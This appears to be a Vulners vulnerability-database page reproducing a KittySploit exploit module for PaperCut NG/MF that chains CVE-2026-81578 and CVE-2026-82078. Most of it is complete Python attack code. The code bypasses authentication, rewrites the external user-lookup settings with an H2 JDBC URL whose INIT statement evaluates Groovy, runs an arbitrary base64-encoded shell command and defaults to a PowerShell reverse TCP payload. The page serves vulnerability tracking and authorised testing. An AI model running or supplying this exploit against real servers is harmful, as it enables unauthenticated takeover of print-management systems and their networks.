PaperCut NG/MF Pre-Auth RCE (CVE-2026-81578 + CVE-2026-82078)
| Reporter | Title | Published | Views | Family All 39 |
|---|---|---|---|---|
| Exploit for CVE-2026-81578 | 29 Aug 202613:12 | – | githubexploit | |
| Exploit for CVE-2026-81578 | 29 Aug 202615:08 | – | githubexploit | |
| The vulnerability in the web interface for controlling printing control software in PaperCut MF and PaperCut NG allows a perpetrator to gain access to read and modify data. | 23 Sep 202600:00 | – | bdu_fstec | |
| The vulnerability of the printing control software in PaperCut MF and PaperCut NG, related to insecure dynamic class loading, allows a violator to execute arbitrary code. | 23 Sep 202600:00 | – | bdu_fstec | |
| CVE-2026-81578 | 28 Aug 202613:05 | – | circl | |
| CVE-2026-82078 | 28 Aug 202613:05 | – | circl | |
| PaperCut NG/MF Missing Authentication for Critical Function Vulnerability | 31 Aug 202600:00 | – | cisa_kev | |
| PaperCut NG/MF Unsafe Reflection Vulnerability | 31 Aug 202600:00 | – | cisa_kev | |
| CISA Adds Two Known Exploited Vulnerabilities to Catalog | 31 Aug 202612:00 | – | cisa | |
| CVE-2026-81578 | 28 Aug 202611:39 | – | cve |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""PaperCut NG/MF auth bypass + external user lookup RCE (CVE-2026-81578 + CVE-2026-82078)."""
from __future__ import annotations
import base64
import re
import secrets
from typing import Any, Dict, Optional
from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client, Handler):
__info__ = {
"name": "PaperCut NG/MF Pre-Auth RCE (CVE-2026-81578 + CVE-2026-82078)",
"description": (
"Chains CVE-2026-81578 Tapestry direct-service auth bypass with "
"CVE-2026-82078 external user-lookup JDBC abuse. On PaperCut 26.x, "
"reconfigures H2 INIT SQL to evaluate Groovy that launches a shell "
"command, then restores factory lookup settings."
),
"author": ["KittySploit Team", "sfewer-r7"],
"cve": ["CVE-2026-81578", "CVE-2026-82078"],
"platform": Platform.MULTI,
"arch": [Arch.CMD],
"payload": {
"default": "payloads/singles/cmd/windows/powershell_reverse_tcp",
"platform": [Platform.WINDOWS, Platform.UNIX, Platform.MULTI],
"category": PayloadCategory.CMD,
},
"references": [
"https://nvd.nist.gov/vuln/detail/CVE-2026-81578",
"https://nvd.nist.gov/vuln/detail/CVE-2026-82078",
"https://www.papercut.com/kb/Main/security-bulletin-27-aug-2026-urgent-security-advisory/",
"https://www.rapid7.com/blog/post/etr-papercut-ng-mf-critical-zero-day-exploited-in-the-wild/",
],
"tags": [
"papercut",
"tapestry",
"jdbc",
"h2",
"unauthenticated",
"rce",
"cve-2026-81578",
"cve-2026-82078",
],
"agent": {
"risk": "critical",
"effects": ["active_exploitation", "remote_code_execution"],
"expected_requests": 12,
"reversible": False,
"approval_required": True,
"produces": ["exploit_paths", "risk_signals", "rce"],
"requires": {
"tech_hints_any": ["papercut"],
},
"chain": {
"produces_capabilities": [
{"capability": "rce", "from_detail": "H2 INIT Groovy"},
],
"suggested_followups": [
"scanner/http/papercut_cve_2026_81578_detect",
"scanner/http/papercut_cve_2026_82078_detect",
],
},
},
}
port = OptPort(9191, "PaperCut HTTP port", True)
ssl = OptBool(False, "Use HTTPS", True, advanced=True)
command = OptString("", "Command instead of selected payload", False)
shell = OptChoice(
"windows",
"Shell wrapper for ProcessBuilder",
False,
choices=["windows", "unix"],
advanced=True,
)
restore_config = OptBool(True, "Restore user-lookup defaults after exploit", False, advanced=True)
def _origin(self) -> str:
scheme = "https" if bool(self.ssl) else "http"
return f"{scheme}://{self.target}:{int(self.port)}"
def _home_ok(self, response) -> bool:
return bool(response and int(response.status_code or 0) == 200 and "PaperCut" in (response.text or ""))
def _direct(self, component_page: str, component_path: str, data: Optional[Dict[str, str]] = None):
token = secrets.token_hex(4)
path = f"/app?service=direct/1/Home/{component_page}/{component_path}"
headers = {"Origin": self._origin(), "Referer": f"{self._origin()}/app"}
return self.http_request(
method="POST",
path=path,
headers=headers,
data=data or {},
allow_redirects=False,
)
def _papercut_major(self) -> int:
response = self.http_request(
method="GET",
path="/app?service=page/Error",
allow_redirects=True,
)
body = (response.text or "") if response else ""
match = re.search(r"PaperCut\s+(?:NG|MF)\s+(\d+)\.", body)
return int(match.group(1)) if match else 26
@staticmethod
def _h2_escape(statement: str) -> str:
return statement.replace("\\", "\\\\").replace(";", "\\;")
@staticmethod
def _h2_statement(groovy_source: str) -> str:
escaped = groovy_source.replace("'", "''")
return f"CREATE ALIAS PCEXEC FOR 'groovy.util.Eval.me(java.lang.String)';CALL PCEXEC('{escaped}')"
def _groovy_command(self, command: str) -> str:
encoded = base64.b64encode(command.encode()).decode()
shell = str(self.shell or "windows").strip().lower()
if shell == "unix":
argv = '["/bin/sh","-c",cmd]'
else:
argv = '["cmd.exe","/d","/s","/c",cmd]'
token = secrets.token_hex(4)
return (
"def cmd=new String("
f"java.util.Base64.getDecoder().decode('{encoded}'),"
"java.nio.charset.StandardCharsets.UTF_8);"
f"new ProcessBuilder({argv} as String[]).start();"
f"'{token}'"
)
def _update_config(self, name: str, value: str) -> bool:
find = self._direct(
"ConfigEditor",
"quickFindForm",
{
"sp": "S0",
"Form0": "$TextField,doQuickFind,clear",
"$TextField": name,
"doQuickFind": "Go",
},
)
if not self._home_ok(find):
return False
if name == "user-lookup.id-to-username-sql":
form = {
"sp": "S1",
"Form1": "$TextField$0,$Submit,$Submit$0,$TextField$0$0,$Submit$1,$Submit$0$0",
"$TextField$0": value,
"$TextField$0$0": "USERNAME",
"$Submit": "Update",
}
else:
form = {
"sp": "S1",
"Form1": "$TextField$0,$Submit,$Submit$0",
"$TextField$0": value,
"$Submit": "Update",
}
save = self._direct("ConfigEditor", "$Form", form)
return self._home_ok(save)
def _trigger_lookup(self, card: str) -> None:
self._direct(
"UserList",
"$QuickFind.$Form",
{
"sp": "S0",
"Form0": "$TextField,$Submit,$Submit$0",
"$TextField": card,
"$Submit": "Go",
},
)
def _restore_defaults(self) -> None:
defaults = {
"user-lookup.enabled": "N",
"user-lookup.id-to-username-sql": "select user_name from users_table where card_number = {cardnumber}",
"user-lookup.db-url": "",
"user-lookup.db-driver": "",
}
for key, value in defaults.items():
self._update_config(key, value)
def run(self):
home = self.http_request(method="GET", path="/app", allow_redirects=True)
if not self._home_ok(home):
print_error("PaperCut Home page not reachable")
return False
major = self._papercut_major()
if major < 24:
print_error(f"PaperCut major version {major} not supported by this module")
return False
if major < 26:
print_error("PaperCut <26 requires Derby bootstrap class drop; use Metasploit module for full support")
return False
command = str(self.command or "").strip()
if not command:
command = str(getattr(self, "payload", "") or "whoami")
groovy = self._groovy_command(command)
db_name = secrets.token_hex(4)
jdbc_url = f"jdbc:h2:mem:{db_name};INIT={self._h2_escape(self._h2_statement(groovy))}"
if len(jdbc_url) > 1024:
print_error("Generated H2 JDBC URL exceeds PaperCut 1024-char limit")
return False
exploit_config = {
"user-lookup.db-driver": "org.h2.Driver",
"user-lookup.db-url": jdbc_url,
"user-lookup.id-to-username-sql": "VALUES CAST({cardnumber} AS VARCHAR(32672))",
"user-lookup.enabled": "Y",
}
try:
for key, value in exploit_config.items():
if not self._update_config(key, value):
print_error(f"Failed to set config key {key}")
return False
self._trigger_lookup(secrets.token_hex(8))
self.set_info(
severity="critical",
reason="PaperCut external user lookup chain triggered (H2 INIT Groovy)",
command=command,
)
return True
finally:
if bool(self.restore_config):
self._restore_defaults()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
29 Sep 2026 10:07Current
8.4High risk
Vulners AI Score8.4
CVSS 3.19.8
CVSS 49.4
EPSS0.85581
SSVC